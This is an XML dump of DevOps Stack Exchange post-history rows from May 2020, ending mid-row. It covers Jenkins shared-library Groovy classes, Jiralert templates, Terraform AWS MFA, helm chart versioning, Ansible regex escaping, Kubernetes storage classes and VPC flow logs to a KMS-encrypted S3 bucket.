  <row Id="35510" PostHistoryTypeId="2" PostId="11602" RevisionGUID="05ecef3d-2cfb-43d4-b7f0-98927ee47057" CreationDate="2020-05-14T07:08:32.830" UserId="22231" Text="It looks like Groovy can't find your class at the path specified.&#xD;&#xA;&#xD;&#xA;Try renaming the file common.groovy to match the class name and move it to the common folder:&#xD;&#xA;&#xD;&#xA;    src/org/common/CommonFuncs.groovy" ContentLicense="CC BY-SA 4.0" />
  <row Id="35511" PostHistoryTypeId="5" PostId="11596" RevisionGUID="b83b316a-d9a7-4cb4-aa75-51a4e806306b" CreationDate="2020-05-14T08:25:59.833" UserId="17329" Comment="deleted 840 characters in body; edited title" Text="What kind of changes need to be made to a slack template in order to reuse into Jiralert one? Can I utilized the whole body, can somebody post an example of a working transition, even for the default example in vendor site." ContentLicense="CC BY-SA 4.0" />
  <row Id="35512" PostHistoryTypeId="4" PostId="11596" RevisionGUID="b83b316a-d9a7-4cb4-aa75-51a4e806306b" CreationDate="2020-05-14T08:25:59.833" UserId="17329" Comment="deleted 840 characters in body; edited title" Text="Reuse Alertmanger Slack Integration into Jiralert template" ContentLicense="CC BY-SA 4.0" />
  <row Id="35513" PostHistoryTypeId="2" PostId="11603" RevisionGUID="dd416da5-e6a0-4201-8136-c30c0340ed15" CreationDate="2020-05-14T08:26:56.513" UserId="17329" Text="In the end solved it myself, I had to just define jira.summary and description respectively and copy/paste the contents from the slack integration in the given fields.&#xD;&#xA;```&#xD;&#xA;{{ define &quot;jira.summary&quot; }}]&#xD;&#xA;    {{ .Alerts.Firing | len }} {{ .CommonLabels.alertname }} for {{ .CommonLabels.job }}&#xD;&#xA;    {{- if gt (len .CommonLabels) (len .GroupLabels) -}}&#xD;&#xA;    {{&quot; &quot;}}(&#xD;&#xA;    {{- with .CommonLabels.Remove .GroupLabels.Names }}&#xD;&#xA;        {{- range $index, $label := .SortedPairs -}}&#xD;&#xA;        {{ if $index }}, {{ end }}&#xD;&#xA;        {{- $label.Name }}=&quot;{{ $label.Value -}}&quot;&#xD;&#xA;        {{- end }}&#xD;&#xA;    {{- end -}}&#xD;&#xA;    )&#xD;&#xA;    {{- end }}&#xD;&#xA;{{- end }}&#xD;&#xA;{{ define &quot;jira.description&quot; }}&#xD;&#xA;    {{ with index .Alerts 0 -}}&#xD;&#xA;    :chart_with_upwards_trend: *&lt;{{ .GeneratorURL }}|Graph&gt;*&#xD;&#xA;    {{- if .Annotations.runbook }}   :notebook: *&lt;{{ .Annotations.runbook }}|Runbook&gt;*{{ end }}&#xD;&#xA;    {{ end }}&#xD;&#xA;    *Kubernetes Cluster:* `default`&#xD;&#xA;    *Prometheus Alert Details*:&#xD;&#xA;        {{ range .Alerts -}}&#xD;&#xA;        *Prometheus Alert:* {{ .Annotations.title }}{{ if .Labels.severity }} - `{{ .Labels.severity }}`{{ end }}&#xD;&#xA;        *Prometheus Alert Description:* {{ .Annotations.message }}&#xD;&#xA;        *Prometheus Alert Details:*&#xD;&#xA;            {{ range .Labels.SortedPairs }}  *{{ .Name }}:* `{{ .Value }}`&#xD;&#xA;            {{ end }}&#xD;&#xA;    {{ end }}&#xD;&#xA;{{- end }}&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="35514" PostHistoryTypeId="5" PostId="11596" RevisionGUID="380bd79d-348d-40b0-82f8-6b91a5de7273" CreationDate="2020-05-14T08:28:29.470" UserId="17329" Comment="added 4 characters in body" Text="What kind of changes need to be made to a slack template in order to reuse into Jiralert one? Can I utilize the whole body as it is, can somebody post an example of a working resuse, even for the default example in vendor site." ContentLicense="CC BY-SA 4.0" />
  <row Id="35516" PostHistoryTypeId="2" PostId="11605" RevisionGUID="c304e53b-c649-4eab-9b83-2561bf2e8912" CreationDate="2020-05-14T09:02:52.130" UserId="22240" Text="If you are looking to combine all your CI\CD activities into one single process\pipeline, i would suggest to go with Azure DevOps which also supports Jenkins, Ansible, Kubernetes and almost all the 3rd party\Open source CI\CD tools. So that you could also use your existing tools like Jenkins and Ansible and connect with Azure Devops to make it connected pipelines. I have used this and i was able to do all my CI\CD activity in a single automated pipeline. Have a try maybe." ContentLicense="CC BY-SA 4.0" />
  <row Id="35517" PostHistoryTypeId="2" PostId="11606" RevisionGUID="9c59d225-74cf-4b1f-b67f-6a256a528a90" CreationDate="2020-05-14T09:07:50.080" UserId="22240" Text="If you have set a CI trigger make sure you have set the filter to the exact branch which you need the build to be triggered and not the entire repository which is the default case." ContentLicense="CC BY-SA 4.0" />
  <row Id="35518" PostHistoryTypeId="2" PostId="11607" RevisionGUID="cd036385-5875-4801-bbd3-1dddf3f469ef" CreationDate="2020-05-14T09:17:01.267" UserId="9344" Text="Assuming that &#xD;&#xA;&#xD;&#xA;- your IAM user can generate an mfa session token via `GetSessionToken`, and &#xD;&#xA;- you have a way of getting this token and applying it in your **~/.aws/credentials** file (this can be done using helper scripts, like https://github.com/broamski/aws-mfa) &#xD;&#xA;&#xD;&#xA;you don't need to specify anything special in the terraform configuration. You just need to make sure your aws cli profile is configured correctly as described above AND there is a valid token when you run terraform." ContentLicense="CC BY-SA 4.0" />
  <row Id="35519" PostHistoryTypeId="2" PostId="11608" RevisionGUID="c9559ab0-7d41-4c97-ad90-c944ec54caad" CreationDate="2020-05-14T09:17:01.403" UserId="22240" Text="Usually each projects would have teams defined with the team members. So if you have a team defined then add the team to the contributors list." ContentLicense="CC BY-SA 4.0" />
  <row Id="35527" PostHistoryTypeId="50" PostId="4336" RevisionGUID="8fcb34d0-a6e3-4cd5-ba8e-b16865a560d8" CreationDate="2020-05-14T13:01:40.177" UserId="-1" />
  <row Id="35528" PostHistoryTypeId="2" PostId="11611" RevisionGUID="8a616389-dc84-4fed-b9fb-8f9d6ea0c8c2" CreationDate="2020-05-14T15:09:16.200" UserId="22121" Text="I am trying to create super class (common) and a subclass (specific), my plan is to have the common functions defined in super and override it in subclasses as needed, I am trying to write/run my very first super and subclass and it fails as shown below, any help with this please? sorry if this looks stupid, I have no experience with java/groovy, just started with groovy.&#xD;&#xA;&#xD;&#xA;src/org/common.groovy:&#xD;&#xA;```&#xD;&#xA;$ cat src/org/common.groovy&#xD;&#xA;package org&#xD;&#xA;&#xD;&#xA;class common {&#xD;&#xA;    def steps&#xD;&#xA;&#xD;&#xA;    common(steps) {this.steps = steps}&#xD;&#xA;&#xD;&#xA;    def sayHi() {&#xD;&#xA;        steps.sh('''&#xD;&#xA;                    echo &quot;hi&quot;&#xD;&#xA;                ''')&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;src/org/specific.groovy:&#xD;&#xA;```&#xD;&#xA;$ cat src/org/specific.groovy&#xD;&#xA;package org&#xD;&#xA;&#xD;&#xA;//import org.common&#xD;&#xA;&#xD;&#xA;class specific extends common {&#xD;&#xA;    def steps&#xD;&#xA;    specific(steps) { this.steps = steps}&#xD;&#xA;&#xD;&#xA;    def sayHi() {&#xD;&#xA;        super.sayHi()&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;vars/testSrc.groovy:&#xD;&#xA;```&#xD;&#xA;$ cat vars/testSrc.groovy&#xD;&#xA;import org.specific&#xD;&#xA; def call() {&#xD;&#xA;    def tst = new specific(this)&#xD;&#xA;    tst.sayHi()&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;$&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;My pipeline script in Jenkins:&#xD;&#xA;```&#xD;&#xA;@Library('jenkins-library') _&#xD;&#xA;pipeline {&#xD;&#xA;    agent { label 'my-servers' }&#xD;&#xA;&#xD;&#xA;    stages {&#xD;&#xA;        stage('test') {&#xD;&#xA;            steps {&#xD;&#xA;                script {&#xD;&#xA;                    testSrc()&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Error:&#xD;&#xA;```&#xD;&#xA;java.lang.NoSuchMethodError: org.common: method &lt;init&gt;()V not found&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="35529" PostHistoryTypeId="1" PostId="11611" RevisionGUID="8a616389-dc84-4fed-b9fb-8f9d6ea0c8c2" CreationDate="2020-05-14T15:09:16.200" UserId="22121" Text="How to use superclass and subclass in Jenkins shared library?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35530" PostHistoryTypeId="3" PostId="11611" RevisionGUID="8a616389-dc84-4fed-b9fb-8f9d6ea0c8c2" CreationDate="2020-05-14T15:09:16.200" UserId="22121" Text="&lt;jenkins-pipeline&gt;&lt;groovy&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35531" PostHistoryTypeId="2" PostId="11612" RevisionGUID="bf43c9ee-48e8-46e5-871a-ca23cb8dbad6" CreationDate="2020-05-14T16:06:19.860" UserId="4115" Text="What you want is a [Jenkins shared library](https://www.jenkins.io/doc/book/pipeline/shared-libraries/) which will allow you to (among other things) define custom Pipeline DSL steps in a repository you own.  See the [&quot;Defining custom steps&quot; section](https://www.jenkins.io/doc/book/pipeline/shared-libraries/#defining-custom-steps) in that document.&#xD;&#xA;&#xD;&#xA;Here's the example custom step from that document:&#xD;&#xA;&#xD;&#xA;    // vars/sayHello.groovy&#xD;&#xA;    def call(String name = 'human') {&#xD;&#xA;        // Any valid steps can be called from this code, just like in other&#xD;&#xA;        // Scripted Pipeline&#xD;&#xA;        echo &quot;Hello, ${name}.&quot;&#xD;&#xA;    }" ContentLicense="CC BY-SA 4.0" />
  <row Id="35535" PostHistoryTypeId="2" PostId="11614" RevisionGUID="c1a2a3e3-839d-4b32-9f5c-3ddb3e92780e" CreationDate="2020-05-14T20:01:54.520" UserId="22075" Text="I would like to know if there is a command or script that one can use to see or list enabled/available volume provisioners in a Kubernetes cluster?&#xD;&#xA;&#xD;&#xA;We have a on-premise cluster and I came to know hard way that 'local' provisioner has already been enabled in the cluster, so trying to see if there is something we can do upfront and set up few of the provisioners for use by the containers/applications.&#xD;&#xA;&#xD;&#xA;Thanks" ContentLicense="CC BY-SA 4.0" />
  <row Id="35536" PostHistoryTypeId="1" PostId="11614" RevisionGUID="c1a2a3e3-839d-4b32-9f5c-3ddb3e92780e" CreationDate="2020-05-14T20:01:54.520" UserId="22075" Text="How to check available volume provisioners in Kubernetes cluster?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35537" PostHistoryTypeId="3" PostId="11614" RevisionGUID="c1a2a3e3-839d-4b32-9f5c-3ddb3e92780e" CreationDate="2020-05-14T20:01:54.520" UserId="22075" Text="&lt;kubernetes-volume&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35538" PostHistoryTypeId="2" PostId="11615" RevisionGUID="d9cce346-a76f-424a-860f-ad7f7fac9bd3" CreationDate="2020-05-15T01:38:29.753" UserId="22278" Text="I'm trying to set up a process to release a web app with `helm` in my company and I can't find a satisfying way.&#xD;&#xA;&#xD;&#xA;Basically each for each push in a feature branch, I want to:&#xD;&#xA;&#xD;&#xA; 1. Build a docker image and push it to a registry&#xD;&#xA; 2. Upgrade the app through `helm`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Step 1 is easy, we keep the Dockerfile in the sources, which makes sense because it allows developers to test the docker image and the CI can also build the image and push it automatically.&#xD;&#xA;&#xD;&#xA;Step 2: I'm not sure. I was told it could be interesting to keep track of the deployment history and therefore to update the helm chart version for each deployment which seems do-able but I'm not sure I see the point because `helm history` already provides the info I guess?&#xD;&#xA;&#xD;&#xA;Also it forces the CI to actually commit and push the new chart version itself!&#xD;&#xA;&#xD;&#xA;My idea was to keep the helm chart in a separate repository with all our charts and to just use keep track of the changes of the chart but nothing to do with any deployments so: the CI could basically build the docker image, push it, clone the helm repository and do the following:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;helm upgrade $APP_NAME --set image.tag=$APP_VERSION ./path/to/chart&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;(with APP_VERSION being auto generated and matching the docker build tag)&#xD;&#xA;&#xD;&#xA;I haven't seen this approach when reading about it, most people seems to keep their app version up to date in their helm charts and I'm wondering how is that supposed to work for continuous deployment?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35539" PostHistoryTypeId="1" PostId="11615" RevisionGUID="d9cce346-a76f-424a-860f-ad7f7fac9bd3" CreationDate="2020-05-15T01:38:29.753" UserId="22278" Text="How is it a good practice to version your helm charts for each deployment?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35540" PostHistoryTypeId="3" PostId="11615" RevisionGUID="d9cce346-a76f-424a-860f-ad7f7fac9bd3" CreationDate="2020-05-15T01:38:29.753" UserId="22278" Text="&lt;kubernetes&gt;&lt;continuous-integration&gt;&lt;continuous-deployment&gt;&lt;cicd&gt;&lt;helm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35541" PostHistoryTypeId="2" PostId="11616" RevisionGUID="1ca8b7c9-4e7a-4a47-8321-09c580fbc972" CreationDate="2020-05-15T02:36:46.463" UserId="19963" Text="Approach you are describing - where app version is substituted at `helm upgrade` command - is pretty popular as well. Maybe it's not well documented - I'm not sure about that.&#xD;&#xA;&#xD;&#xA;Yet another approach that people use is doing `helm template` which would compile everything (including variable resolution) into fixed k8s definitions and then doing GitOps on that.&#xD;&#xA;&#xD;&#xA;There is no universally accepted approach here among those 3 (1st being updating helm chart itself with new versions every time). So you should decide what works better for your use case.&#xD;&#xA;&#xD;&#xA;One thing that is worth mentioning is versioning issue (disclaimer: I'm solving it with Reliza Hub, which I develop). Basically, you need some system which would tell you what version tag of each microservice to actually use on different environments. That problem may become quite complex, especially if you have many microservices and many environments." ContentLicense="CC BY-SA 4.0" />
  <row Id="35542" PostHistoryTypeId="2" PostId="11617" RevisionGUID="083ad8bd-bbdf-4b68-826f-92ceca8e0c6a" CreationDate="2020-05-15T09:23:19.467" UserId="16778" Text="I'm using Ansible 2.7.9&#xD;&#xA;and I'm having trouble with the regex definition in the lineinfile module. My file has the following line:&#xD;&#xA;&#xD;&#xA;    host.example.com = /path/to/a/directory&#xD;&#xA;&#xD;&#xA;I want to remove that line. As {{ inventory_hostname }} contains dots, I'm trying to escape those with ```replace```. The task in my playbook looks like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;- name: Remove LE webroot definition&#xD;&#xA;    lineinfile: &#xD;&#xA;      path: &quot;/etc/path/to/config/{{ inventory_hostname }}.conf&quot;&#xD;&#xA;      regexp: &quot;^{{ inventory_hostname | replace('.', '\.') }} = /path/to/a/directory&quot;&#xD;&#xA;      state: absent&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;When I'm executing the playbook, the following error occurs:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;[...]&#xD;&#xA;The offending line appears to be:&#xD;&#xA;      path: &quot;etc/path/to/config/{{ inventory_hostname }}.conf&quot;&#xD;&#xA;      regexp: &quot;^{{ inventory_hostname | replace('.', '\.') }} = /path/to/a/directory&quot;&#xD;&#xA;                                                      ^ here&#xD;&#xA;We could be wrong, but this one looks like it might be an issue with&#xD;&#xA;missing quotes.  Always quote template expression brackets when they&#xD;&#xA;start a value. For instance:&#xD;&#xA;[...]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;As you can see, I'm using the double quotes, and all examples that I've found are using this syntax. What I'm doing wrong here? Thanks for any help.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35543" PostHistoryTypeId="1" PostId="11617" RevisionGUID="083ad8bd-bbdf-4b68-826f-92ceca8e0c6a" CreationDate="2020-05-15T09:23:19.467" UserId="16778" Text="Ansible: Use inventory_hostname variable in lineinfile module" ContentLicense="CC BY-SA 4.0" />
  <row Id="35544" PostHistoryTypeId="3" PostId="11617" RevisionGUID="083ad8bd-bbdf-4b68-826f-92ceca8e0c6a" CreationDate="2020-05-15T09:23:19.467" UserId="16778" Text="&lt;ansible&gt;&lt;yaml&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35545" PostHistoryTypeId="2" PostId="11618" RevisionGUID="4d6e0612-0ca7-4fea-990f-77ee9a2c8343" CreationDate="2020-05-15T09:26:46.810" UserId="22287" Text="I need a tool/framework for CI/CD which can:&#xD;&#xA;&#xD;&#xA; 1. Support multi-repository project&#xD;&#xA; 2. Build and ship only changed part (frontend/backend) using revison hashes to decide&#xD;&#xA; 3. Ship some branches (release candidate brances) to test environment and some to production (master)&#xD;&#xA; 4. Get version number from repository based on branch name for RC&#xD;&#xA; 5. Get version number from repository based on last merged branch in master for production&#xD;&#xA; 6. Create build version in bug tracker and mark issues as fixed in created version based on issue status and planned version&#xD;&#xA; 7. Notify about new version uploaded on test/production with issues list from bug tracker&#xD;&#xA; 8. Get new database migration scripts (based on diff with previously uploaded version using revison hashes) and notify about them &amp; (maybe) execute them &#xD;&#xA;&#xD;&#xA;I wrote a script to do this but it lacks interface to do manual build/ship or to monitor build status (only notification at the end of build/deploy)&#xD;&#xA;&#xD;&#xA;I have found Bouldbot but not shure it can handle these requirements.&#xD;&#xA;&#xD;&#xA;If you know a framework which can handle these requirements without pain, please, name it." ContentLicense="CC BY-SA 4.0" />
  <row Id="35546" PostHistoryTypeId="1" PostId="11618" RevisionGUID="4d6e0612-0ca7-4fea-990f-77ee9a2c8343" CreationDate="2020-05-15T09:26:46.810" UserId="22287" Text="Does Buildbot support complicated build/deploy scenarios?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35547" PostHistoryTypeId="3" PostId="11618" RevisionGUID="4d6e0612-0ca7-4fea-990f-77ee9a2c8343" CreationDate="2020-05-15T09:26:46.810" UserId="22287" Text="&lt;continuous-integration&gt;&lt;continuous-deployment&gt;&lt;toolchain&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35552" PostHistoryTypeId="2" PostId="11620" RevisionGUID="ef0369c8-b07e-4260-a0f9-8711e604ef42" CreationDate="2020-05-15T13:00:13.360" UserId="16778" Text="The issue seems resolved, If I space the backslash in the regex too:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;- name: Remove LE webroot definition&#xD;&#xA;    lineinfile: &#xD;&#xA;      path: &quot;/etc/path/to/config/{{ inventory_hostname }}.conf&quot;&#xD;&#xA;      regexp: &quot;^{{ inventory_hostname | replace('.', '\\.') }} = /path/to/a/directory&quot;&#xD;&#xA;      state: absent&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="35553" PostHistoryTypeId="2" PostId="11621" RevisionGUID="e0b72101-a11d-4e67-8c02-1b03dacf78ff" CreationDate="2020-05-15T13:59:05.283" UserId="2494" Text="Maybe storage classes?&#xD;&#xA;&#xD;&#xA;`kubectl get sc`?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35554" PostHistoryTypeId="2" PostId="11622" RevisionGUID="c0594dcb-e68e-47f3-b5d2-da02d89bf1db" CreationDate="2020-05-15T15:46:28.713" UserId="22293" Text="We were able to achieve this using Jenkins multibranch pipeline, upon pull request creation and update pipeline would create a new job. It'll check out the pull request so we can build / run unit tests / sonarqube analysis on it.&#xD;&#xA;&#xD;&#xA;Refer following for step by step guide,&#xD;&#xA;https://whatsuptec.com/2019/11/03/trigger-jenkins-pipeline-on-bitbucket-pull-request/" ContentLicense="CC BY-SA 4.0" />
  <row Id="35555" PostHistoryTypeId="2" PostId="11623" RevisionGUID="217a194d-c6aa-4120-921d-df944c546d86" CreationDate="2020-05-15T17:02:11.303" UserId="7770" Text="I'm using Terraform and trying to set up automatic export of VPC flow logs into an S3 bucket in the same AWS account and region (ca-central-1) that has default encryption turned on with AWS-KMS (using a CMK). Even after trying many permutations of policies for KMS and the S3 bucket, the flow logger still always ends up in `Access error` status.&#xD;&#xA;&#xD;&#xA;The `aws_flow_log` Terraform resource is configured exactly according to the [documentation](https://www.terraform.io/docs/providers/aws/r/flow_log.html).&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;resource &quot;aws_flow_log&quot; &quot;vpc_flow_log&quot; {&#xD;&#xA;  log_destination_type = &quot;s3&quot;&#xD;&#xA;  log_destination      = &quot;${aws_s3_bucket.awslogs.arn}&quot;&#xD;&#xA;  traffic_type         = &quot;ALL&quot;&#xD;&#xA;  vpc_id               = &quot;${aws_vpc.vpc.id}&quot;&#xD;&#xA;  depends_on           = [&quot;aws_s3_bucket_policy.awslogs&quot;]&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;[![A cropped screenshot of the Flow Logs tab in VPC console showing Status in Access error with a pop-up saying The log destination is not accessible.][1]][1]&#xD;&#xA;&#xD;&#xA;And the result of `aws ec2 describe-flow-logs`:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;{&#xD;&#xA;  &quot;CreationTime&quot;: &quot;2020-05-15T16:22:40.142Z&quot;,&#xD;&#xA;  &quot;DeliverLogsErrorMessage&quot;: &quot;Access error&quot;,&#xD;&#xA;  &quot;DeliverLogsStatus&quot;: &quot;FAILED&quot;,&#xD;&#xA;  &quot;FlowLogId&quot;: &quot;fl-REDACTED&quot;,&#xD;&#xA;  &quot;FlowLogStatus&quot;: &quot;ACTIVE&quot;,&#xD;&#xA;  &quot;ResourceId&quot;: &quot;vpc-REDACTED&#xD;&#xA;  &quot;TrafficType&quot;: &quot;ALL&quot;,&#xD;&#xA;  &quot;LogDestinationType&quot;: &quot;s3&quot;,&#xD;&#xA;  &quot;LogDestination&quot;: &quot;arn:aws:s3:::REDACTED-awslogs&quot;,&#xD;&#xA;  &quot;LogFormat&quot;: &quot;${version} ${account-id} ${interface-id} ${srcaddr} ${dstaddr} ${srcport} ${dstport} ${protocol} ${packets} ${bytes} ${start} ${end} ${action} ${log-status}&quot;&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Curiously, it works fine in my second &quot;sandbox&quot; AWS account where I exclusively use the AWS web console, never Terraform. This account is configured the same way with AWS-KMS on the S3 bucket. &#xD;&#xA;&#xD;&#xA;Both accounts seem to have the same configuration, so I can't figure out why it works in the sandbox, but fails in my terraformed account.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;### S3 bucket&#xD;&#xA;&#xD;&#xA;Default encryption is enabled and and Custom KMS arn is selected.&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;S3 bucket policy includes statements to allow VPC flow logs delivery from `delivery.logs.amazonaws.com` as written in [Publishing flow logs to Amazon S3](https://docs.aws.amazon.com/vpc/latest/userguide/flow-logs-s3.html#flow-logs-s3-permissions).&#xD;&#xA;&#xD;&#xA;        {&#xD;&#xA;            &quot;Sid&quot;: &quot;AWSLogDeliveryAclCheck&quot;,&#xD;&#xA;            &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;            &quot;Principal&quot;: {&#xD;&#xA;                &quot;Service&quot;: &quot;delivery.logs.amazonaws.com&quot;&#xD;&#xA;            },&#xD;&#xA;            &quot;Action&quot;: &quot;s3:GetBucketAcl&quot;,&#xD;&#xA;            &quot;Resource&quot;: &quot;arn:aws:s3:::REDACTED-awslogs&quot;&#xD;&#xA;        },&#xD;&#xA;        {&#xD;&#xA;            &quot;Sid&quot;: &quot;AWSLogDeliveryWrite&quot;,&#xD;&#xA;            &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;            &quot;Principal&quot;: {&#xD;&#xA;                &quot;Service&quot;: &quot;delivery.logs.amazonaws.com&quot;&#xD;&#xA;            },&#xD;&#xA;            &quot;Action&quot;: &quot;s3:PutObject&quot;,&#xD;&#xA;            &quot;Resource&quot;: [&#xD;&#xA;                &quot;arn:aws:s3:::REDACTED-awslogs/*&quot;,&#xD;&#xA;                &quot;arn:aws:s3:::REDACTED-awslogs/AWSLogs/REDACTED/*&quot;&#xD;&#xA;            ],&#xD;&#xA;            &quot;Condition&quot;: {&#xD;&#xA;                &quot;StringEquals&quot;: {&#xD;&#xA;                    &quot;s3:x-amz-acl&quot;: &quot;bucket-owner-full-control&quot;&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;### KMS Key Policy&#xD;&#xA;&#xD;&#xA;KMS key policy includes a statement that allows usage by VPC Flow logs as instructed by [Required CMK key policy for use with SSE-KMS buckets](https://docs.aws.amazon.com/vpc/latest/userguide/flow-logs-s3.html#flow-logs-s3-cmk-policy).&#xD;&#xA;&#xD;&#xA;        {&#xD;&#xA;            &quot;Sid&quot;: &quot;Allow VPC Flow Logs to use the key&quot;,&#xD;&#xA;            &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;            &quot;Principal&quot;: {&#xD;&#xA;                &quot;Service&quot;: &quot;delivery.logs.amazonaws.com&quot;&#xD;&#xA;            },&#xD;&#xA;            &quot;Action&quot;: [&#xD;&#xA;                &quot;kms:ReEncrypt&quot;,&#xD;&#xA;                &quot;kms:GenerateDataKey&quot;,&#xD;&#xA;                &quot;kms:Encrypt&quot;,&#xD;&#xA;                &quot;kms:DescribeKey&quot;,&#xD;&#xA;                &quot;kms:Decrypt&quot;&#xD;&#xA;            ]&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;I'm at a loss here. What else can I do to troubleshoot this?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/F1FAY.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/zPWp4.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="35556" PostHistoryTypeId="1" PostId="11623" RevisionGUID="217a194d-c6aa-4120-921d-df944c546d86" CreationDate="2020-05-15T17:02:11.303" UserId="7770" Text="Troubleshooting VPC flow logs with an S3 bucket using SSE-KMS encryption with CMK" ContentLicense="CC BY-SA 4.0" />
  <row Id="35557" PostHistoryTypeId="3" PostId="11623" RevisionGUID="217a194d-c6aa-4120-921d-df944c546d86" CreationDate="2020-05-15T17:02:11.303" UserId="7770" Text="&lt;terraform&gt;&lt;amazon-s3&gt;&lt;aws-vpc&gt;&lt;amazon-kms&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35558" PostHistoryTypeId="5" PostId="11623" RevisionGUID="5d620012-e876-4eb0-9f50-1c32a8eb9d28" CreationDate="2020-05-15T17:49:19.460" UserId="7770" Comment="added 182 characters in body" Text="I'm using Terraform and trying to set up automatic export of VPC flow logs into an S3 bucket in the same AWS account and region (ca-central-1) that has default encryption turned on with AWS-KMS (using a CMK). Even after trying many permutations of policies for KMS and the S3 bucket, the flow logger still always ends up in `Access error` status.&#xD;&#xA;&#xD;&#xA;**Update**: When the S3 bucket is reconfigured to use AES-256 as the default encryption (instead of KMS) the VPC flow logs get written normally. So it's definitely a KMS problem.&#xD;&#xA;&#xD;&#xA;The `aws_flow_log` Terraform resource is configured exactly according to the [documentation](https://www.terraform.io/docs/providers/aws/r/flow_log.html).&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;resource &quot;aws_flow_log&quot; &quot;vpc_flow_log&quot; {&#xD;&#xA;  log_destination_type = &quot;s3&quot;&#xD;&#xA;  log_destination      = &quot;${aws_s3_bucket.awslogs.arn}&quot;&#xD;&#xA;  traffic_type         = &quot;ALL&quot;&#xD;&#xA;  vpc_id               = &quot;${aws_vpc.vpc.id}&quot;&#xD;&#xA;  depends_on           = [&quot;aws_s3_bucket_policy.awslogs&quot;]&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;[![A cropped screenshot of the Flow Logs tab in VPC console showing Status in Access error with a pop-up saying The log destination is not accessible.][1]][1]&#xD;&#xA;&#xD;&#xA;And the result of `aws ec2 describe-flow-logs`:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;{&#xD;&#xA;  &quot;CreationTime&quot;: &quot;2020-05-15T16:22:40.142Z&quot;,&#xD;&#xA;  &quot;DeliverLogsErrorMessage&quot;: &quot;Access error&quot;,&#xD;&#xA;  &quot;DeliverLogsStatus&quot;: &quot;FAILED&quot;,&#xD;&#xA;  &quot;FlowLogId&quot;: &quot;fl-REDACTED&quot;,&#xD;&#xA;  &quot;FlowLogStatus&quot;: &quot;ACTIVE&quot;,&#xD;&#xA;  &quot;ResourceId&quot;: &quot;vpc-REDACTED&#xD;&#xA;  &quot;TrafficType&quot;: &quot;ALL&quot;,&#xD;&#xA;  &quot;LogDestinationType&quot;: &quot;s3&quot;,&#xD;&#xA;  &quot;LogDestination&quot;: &quot;arn:aws:s3:::REDACTED-awslogs&quot;,&#xD;&#xA;  &quot;LogFormat&quot;: &quot;${version} ${account-id} ${interface-id} ${srcaddr} ${dstaddr} ${srcport} ${dstport} ${protocol} ${packets} ${bytes} ${start} ${end} ${action} ${log-status}&quot;&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Curiously, it works fine in my second &quot;sandbox&quot; AWS account where I exclusively use the AWS web console, never Terraform. This account is configured the same way with AWS-KMS on the S3 bucket. &#xD;&#xA;&#xD;&#xA;Both accounts seem to have the same configuration, so I can't figure out why it works in the sandbox, but fails in my terraformed account.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;### S3 bucket&#xD;&#xA;&#xD;&#xA;Default encryption is enabled and and Custom KMS arn is selected.&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;S3 bucket policy includes statements to allow VPC flow logs delivery from `delivery.logs.amazonaws.com` as written in [Publishing flow logs to Amazon S3](https://docs.aws.amazon.com/vpc/latest/userguide/flow-logs-s3.html#flow-logs-s3-permissions).&#xD;&#xA;&#xD;&#xA;        {&#xD;&#xA;            &quot;Sid&quot;: &quot;AWSLogDeliveryAclCheck&quot;,&#xD;&#xA;            